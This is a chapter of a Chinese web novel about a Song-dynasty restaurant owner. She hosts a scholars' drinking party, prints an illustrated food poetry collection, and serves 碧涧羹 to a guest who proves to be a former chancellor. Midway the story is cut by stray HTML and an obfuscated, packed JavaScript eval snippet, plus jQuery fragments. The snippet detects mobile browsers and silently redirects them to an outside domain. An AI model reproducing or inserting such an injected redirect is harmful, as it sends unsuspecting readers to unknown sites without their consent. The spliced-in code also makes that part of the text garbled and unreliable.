惊蛰过后,春闱之事尘埃落地。
同期集会的时候也要提上日程了。
柳金枝先是与傅霁景确定了人数,定好当天会有三十人到柳氏饭馆来,还有余下七十几位考生,则是再分两组,去往其他饭馆集会。
这样为柳金枝减少了人员压力,叫她松了一口气。
为了不叫傅霁景失望,柳金枝提前一天带着杜卫去市场进行采买。
把当天要用到的食材都买了一遍。
集会当天,她把自己拿手的菜色都做了一遍,包括但不限于——
姜辣羹、卤烧鹅、馉饳、馄饨、紫荆花水晶饺、菜色春饼福袋……
书生们一进小饭馆的门,就闻到了一股浓郁的菜香,各个都迫不及待地入座了。
傅霁景落在最后头,与柳金枝道谢。
“有劳娘子费心了。”
“这有什么?我收了二郎的银子,自然要尽心。”
傅霁景笑了下,转身想走,但没两步又停住,对柳金枝道:
“……对了,上回娘子送了我定胜糕和春饼,几位同年吃过后都很欢喜,这是他们写的,我瞧着有几首诗还不错,就留下来了。”
柳金枝有些惊奇地接过诗稿,翻开看了两首。
第一首赞颂定胜糕,写作:
“定胜何须问,糕香已报春。江南多锦绣,此物最传神。”①
第二首又有夸赞春饼,是为:
“木案初开银线乱,砂瓶煮熟藉丝长。匀和豌豆搡葱白,细剪萎蒿点韭黄。”②
以柳金枝有限的文学水平,她觉得写的很不错。
诗稿一共三篇,很快就翻完了。
柳金枝还想再多看两篇呢。
毕竟这种有文学的彩虹屁,看再多也不嫌累。
忽然,柳金枝好似想到什么,问:“二郎有写诗吗?”
傅霁景耳尖微红,摩挲了一下手指,道:“……写了,但写的不好。”
“怎么会呢,不如给我看看?”
柳金枝笑着朝傅霁景伸出手。
傅霁景犹豫着把手伸进袖子里,取了一张折叠成正方形的纸出来,捏在手里,松松紧紧。
柳金枝见他这么犹豫,干脆将纸张抽过来。
傅霁景低咳两声,扭头道:“你先看,我先入席了。”
言罢快走两步。
却不想又被柳金枝叫住。
“诶,二郎,等一下。”
傅霁景立即回头:“什么?”
柳金枝取下那块玉,对着傅霁景晃了晃:“你送的礼物,我很喜欢。”
绯红从耳尖霎时间蔓延至脖颈,傅霁景又被憋成了锯嘴葫芦,急急忙忙地转身退走了。
柳金枝笑着目送傅霁景进屋,然后打方式纸条。
上面用圆润敦厚的字体写道:
“无声细下飞翼月,放箸未觉金盘空。”
“卷尽春风三寸舌,咬来五谷俱丰登。”③
柳金枝挠挠下巴。
看不懂,但觉得是好诗。
*
书生们的聚会一开始,就持续了将近两个时辰。
期间柳金枝买了樊楼的金华酒送进去,看着这些书生高兴启封酒坛,喝了个伶仃大醉。
傅霁景本想少喝些,却耐不住劝,被人连灌五杯金华酒,眼前也不由炫目起来,只好以单手撑住头颅,坐在原位静静闭目养神。
另外一些喝醉了的书生们,或是投壶助兴,或者齐声高歌。
柳金枝这个饭馆不大,即使中间挡着屏风,但拦不住他们的声音。
于是没过多久,柳金枝就听到里头有书生提议:
“光是饮酒玩耍多没意思,不如我们来办一场醉诗会,看看谁能拔得头筹!”
此言一出,众皆响应。
柳金枝坐在外头,酸懒地拨了个算珠,心想:果然是群文人,喝醉了也不发酒疯,倒发诗疯。
“行,定个主题吧,咱们咏什么?”
“呃呃……就、就咏桌上的菜。一共二十八道菜,一道菜作一个题,没咏出来的罚酒三杯!”
“好!傅、傅兄,来来来,你来启头!”拿笔墨纸砚!
有人去拉傅霁景,但傅霁景醉的太厉害,依旧端坐原地不动。
柳金枝见状,也不想傅霁景留在一堆醉鬼里头,转头让林勤去把傅霁景扶到后院去醒醒酒。
林勤听话去了,也正是把傅霁景扶着往后院走。
但路过柜台时,傅霁景好似认出了柳金枝,忽然就甩开林勤的手,在柳金枝面前站定了。
柳金枝一愣,疑惑道:“二郎,你是有什么事要吩咐吗?”
傅霁景眉眼极为俊美好看,往日清醒时,一双眼眸似春风湖水,明亮如镜。如今醉醺醺的,眼眸反而像一汪深不见底的幽潭,叫人不知道他在想什么。
在听到柳金枝的话后,傅霁景就伸手去掏自己的袖子,似乎在找什么东西,嘴里还念着:“纸……纸……”
柳金枝以为傅霁景是想找给她写的诗,就把那张方块纸在傅霁景面前晃了一晃。
“你已经给我了。”
柳金枝说。
岂料傅霁景眯眯着眼凑近看了半晌,又摇头:“不……不是这张。”
紧接着又翻找起来。
此时温文尔雅,君子端方的傅家二郎,红着脸翻找自己的袖子,就像最不懂事的幼稚小儿一样。
有食客忍不住笑了笑,扯着同伴去看傅霁景的醉态。
柳金枝却将眉一拧,拉着傅霁景去了后院。
她不想别人看傅霁景的笑话。
林勤见状,就赶忙回过头笑道:“喝醉了人没什么好看的,大家吃菜,吃菜。”
而柳金枝把人拉到后院,傅霁景还是在翻找袖子,可是好半天没找到,又沮丧又难过地说:“……没……了……”
他哭丧着脸,两只眸子像是被水洗过一样水润,眨巴眨巴的,像只无主的小狗。
柳金枝方才还拧起的眉头一下子就松开了,忍不住哄他道:“二郎,你已经把东西给我了,我收着呢。”
然后将人往膳房外头的小杌子上一按,说:“现在二郎听话,就坐在这里别动,我去给你煮醒酒汤。”
傅霁景反应很迟缓,好像大脑还在消化柳金枝的指令。
好一会儿才慢慢吞吞地点头:“……好。”
然后就跟儿童第一天上学似的,整理好宽大袖子,整理好衣冠,挺直了背脊,两手放在膝盖上,端端正正坐在小杌子上一动不动。
柳金枝可惜手上没个手机,不然就能录下来,第二天帮傅霁景回忆黑历史了。
她也没想到傅霁景的酒量居然那么差,五杯金华酒而已,连她都放不倒,居然能醉成这样。
一边想着,一边加快了熬醒酒汤的速度。
正此时,书生们在饭堂里作诗的声音传来。
傅霁景听了,头往那边偏了偏,也跟着小声碎碎念。
柳金枝凑过来听了一耳朵,但……
傅霁景:“……”
柳金枝:???
她怎么一句话都听不懂。
好歹她也是经历过现代九年义务教育的,怎么到了傅霁景跟前跟文盲一样。
“二郎,你读过很多书吗?”柳金枝问。
傅霁景又卡顿了一下,才扭过头,慢吞吞地掰指头给柳金枝数:
“《周易》、《礼记》、《诗经》、《孟子》、《左传》、《诗经》、《尔雅》、《战国策》……”
“《文心雕龙》、《嵇康文集》、《典论·论文》、《阮籍文集》、《天随子》、《宗玄先生文集》、《傅山全书》、《各道家诸子典籍注疏》……”
傅霁景念了一盏茶的时间还没有打住的趋势。
柳金枝赶紧伸手捂住了傅霁景的嘴。
“好,够了。”
她现在终于相信,“我读过的书比你吃过的饭还多”不是一个夸张句了。
这么说起来,傅霁景自打识字起,应该就一直在书房里埋头苦读。
这么庞大的阅读量,也不知他要起多少个早床,看多少次东边稀薄的朝阳,忍着多少困意,吞下过多少苦楚。
柳金枝望着傅霁景的眼神,问:“读这些书,累不累?”
傅霁景眼眸沉沉,点了点头:“累。”
有限的精力似乎已经到头了,傅霁景用袖子掩住唇齿,低低打了个哈欠,然后把头枕靠在自己膝上。
“困了……”
他嘀咕了一句,随后就响起了均匀的呼吸声。
很好,睡着了。
柳金枝无奈笑笑,唤来杜卫去寻杏安。
等到杏安慌慌张张来接人后,醒酒汤也好了。
她盛了一碗装在食盒里给杏安带走,嘱咐他在傅霁景醒过来之后热了喝。
酒量差的人,醉酒之后醒过来都会感到头痛。
喝了醒酒汤,起码能舒缓许多。
杏安连声道谢,赶忙把傅霁景扶走了。
目送着傅家马车离开,柳金枝终于把注意力放在了那群集会的书生身上。
然而林勤和王忠勇满面为难,指着屏风内道:“东家,要不你亲自来看看?”
柳金枝心中顿生不祥预感,赶忙跑进屏风里一看,顿时咬牙切齿。
因为里头漫天遍地都是纸。
还有喝醉了的书生趴在地上在写诗,写一张,扔一张。
诗作从天上哗啦啦往下飞,盖住柳金枝的脸。
柳金枝随手抓着一张眸光下移。
“鲈鱼千头酒百斛,酒中倒卧南山绿。”④
又抓住下一张:“秀色可怜刀切肉,清香不断鼎烹龙。”5
柳金枝本来要隐隐爆发的怒火停滞了一下
其实这些诗写的都还不错。
更主要的是,这漫天飞舞的纸上的每一首诗,都是以她的菜作为主题,而且全是夸赞。
这不就相当于现代的探店好评?
文案都不用她自己写。
而她要做的,就是借着这么个绝佳的宣传机会,把柳氏饭馆的名声再打响一次。
柳金枝怒气尽消,甚至还有些愉悦。
对林勤和王忠勇道:“把这些纸张都捡起来,再给我找一个书坊的掌柜。”
她要出诗集!
其实文人向来都有出诗集的习惯,比如乡试之后大家聚会出一本,殿试之后大家集会出一本……
出诗集不仅能够集结同好,还能提高知名度,就跟个人代表作一样。
要不是出诗集要价颇高,估计人人都会去试试。
但现在是柳金枝出钱,替书生们出诗集。
等到书生们酒醒之后问了一遍,几乎没有不同意的。
有的甚至还想多加两首诗。
毕竟是花别人的钱,扬自己的名。
何乐而不为呢?
在和书生们沟通好之后,柳金枝就带着这些草稿纸去了一家书坊。
但诚如她之前所说,在古代,书生们出个诗集是再正常不过的事情了。
汴京城里每天出来的诗集不说几千,几百也是有的。
但大家每天工作那么忙,谁有时间去慢慢看你的诗?况且古代文盲率高,大部分人还不识字呢。
所以,如何让这本诗集脱颖而出?
柳金枝想到的招数是“插图。”
请一位技巧精湛的画师为每一道菜,都画一副色彩浓艳、菜色精致的画,装订在每一首诗作旁边。
就是看不懂诗的人拿到了这册诗集,也能借插图钓起他们的馋虫。
这事柳霄极为赞成,又询问了黄师道还有几位师兄,给柳金枝推荐了一位技艺高超的画师。
在柳金枝出手大方的前提下,画师以半个月的时间,完成了二十八道菜品的绘图。
再加上书坊利用活字印刷印出拓本,再进行装订。
一个月后,一本史无前例的美食诗集终于出版了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604544|169610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
柳金枝拿了十来本放在自家店门口销售,定价都不高,主要还是为了打开知名度。
柳霄那边也拿了几本去送给师父、师兄,潘琅寰、潘安玉、项志轩、应天爵四人也是一人一本,又拿了不少,去分发给亲朋好友。
其实柳金枝还想请傅霁景帮帮忙,但又觉得这种类似于派发传单一样的事情,不太符合傅霁景的格调。
纠结半晌,就只请了杏安帮忙。
当然,她也给傅钗华送了一本,撇开诗集本身不谈,当一本菜谱来看,它还是很精美的。
就这样在众人积极的推销、宣传之下,这本诗集终于在汴京城里小小流行了起来。
高门大户里的讨论点自然是在诗作本身,但平民百姓看的都是插图,个个都馋的不行。
终于有一天,有一道敦厚的身影拿着诗集走进了柳氏饭馆。
那是个有着四十岁光景的男人,蓄着山羊须,穿一身宽大的圆领襕衫,头上戴一顶东坡帽,唇边含着一点笑意,气质从容和缓。
甫一进饭馆的门,他就以打量的眼光将整个饭馆上下巡视了一遍。
尔后背着手,溜溜达达走到一张饭桌前坐下,开始细致地看饭馆里的所有菜色。
虽然林勤当掌柜的时间不长,但他敏锐的捕捉到了这个男人的不同凡响,赶忙溜去膳房告诉了柳金枝。
柳金枝探头一瞧,注意到男人手中的诗集,低声对林勤道:“我不认识他,但你且瞧瞧他要点些什么,哦,告诉王忠勇,无论这人点什么,都说有。”
林勤点点头,又跑过去与王忠勇窃窃私语一阵。
随后,两个伙计都对这个男人格外关注。
直到一炷香后,男人才看完单子牌面,慢吞吞举起手对王忠勇点菜。
王忠勇打起精神,打算等会儿运足了气,给男人来一段好听的报菜名。
却不想男人开口下一句就是:“你们这儿有碧涧羹吗?”
据南宋林洪所写的《山家清供》记载,碧涧羹是宋代饮食文化中的一道经典素菜。
以芹菜为主料,名称来源于杜甫《陪郑广文游何将军山林》中的一句诗——
“青芹碧涧羹。”
因此在文人之中流传颇广。
柳金枝道:“既是他要这羹,那我就与他做。阿芹,准备嫩水芹、芝麻、茴香、盐和苦酒。”
阿芹点点头,从橱柜里拿出这几样东西,一一摆放在灶台上。
柳金枝取来嫩水芹,手中菜刀一转,切下水芹的茎与叶,扔在水盆里头用清水冲洗。
洗净后用筛网捞起来,抖干净叶片上的水珠,架在一个空心盆上。
阿芹低下头给灶眼生火。
为了加快速度,她加满了柴火。
没一会儿铁锅内的水就滚了起来,柳金枝就着筛网,把网内的水芹倒入沸水当中焯水。
这么做主要是为了散掉水芹里的苦味。
但也不能焯太久。
大概在心里默数十下后,柳金枝再度用铁笊篱把水芹捞了起来,反扣在菜板上,用菜刀切段,赶入一只干净碗中备用。
阿芹找出来的调料都是新鲜的,就算隔了稍远一点的距离,都能闻到麻袋里头传来的阵阵香味儿。
柳金枝拿着一只小碗,称出适量的茴香和芝麻,将它俩混合放入石臼之中。
毕竟碧涧羹是一道素羹,如果不加其他调料增香,喝在嘴里就会显得淡淡的,好似喝了草汁。
而茴香和芝麻在碾碎之后,都会出现一种醇厚又令人回味无穷的香味儿。
混在羹中,能最大程度地激发食物原本的香气。
柳金枝就很喜欢这种味道,因此在整个碾碎过程中显得颇为享受。
待到石臼底部只剩下了粉末,她将之倒出来,再加入些许盐进行混合,最后与切段放好的水芹进行搅拌,淋上足量的苦酒,也就是醋,腌上半个时辰。
在这个过程当中,柳金枝叫林勤以给男人上几个免费小菜为理由,趁机偷看了一下男人写在诗集封面上的名字。
孟左辅。
一瞬间,柳金枝觉得这名字有点耳熟。
但她对文学界实在太不了解,哪怕觉得耳熟,也愣是没想起来半点。
只好略作惭愧的把名字记下来,打算改天去问问柳霄,或者傅霁景也行。
水芹腌好之后,就到了最后的煮羹阶段。
柳金枝把水芹再一次放入清水中煮沸,保持汤色清澈,起锅前又淋了少许苦酒提鲜。
等到她把锅内水芹尽数倒入一只薄胎素胚的瓷碗中时,成品越发显得色如碧涧,汤色如雨后碧波,清澈见底。
细细地去闻,还能嗅到酸香之中,带有芝麻与茴香混合在一起的醇厚香气。
柳金枝一笑,把东西递给王忠勇,道:“给那人端上去。”
王忠勇点头。
柳金枝、阿芹两人就凑在膳房后头观察男人的表情。
男人在对王忠勇道过谢后,取过陶瓷汤匙,舀起一勺,吹了吹气,细抿一口。
尔后,眼前一亮,又快快地吃了几口,笑着低语道:“这羹做的入味儿,所谓‘既清且馨’,就是如此了。”
话毕,就埋头苦吃,直至羹稀见底,他才抬起头来,重重舒了一口气。
“小二,敢问可有笔墨么?”
王忠勇一时迟疑。
柳金枝示意了一下林勤。
林勤赶忙抢上前递上了一支上好的羊毫笔,又端着砚台供男人沾墨。
男人执笔蘸饱墨汁,站在饭馆里的一面白墙前停顿片刻,尔后挥毫写下:
“青精饭熟思留客,碧涧芹香可献君。”
“睡起茶瓯风两腋,功名何啻等池云。”6
尔后以一手狂放草书写下落款——孟义。
孟义,字左辅。
刹那间,柳金枝脑子里电光火石般闪过一点灵光。
她想起来了。
这个孟义正是大宋前任宰相!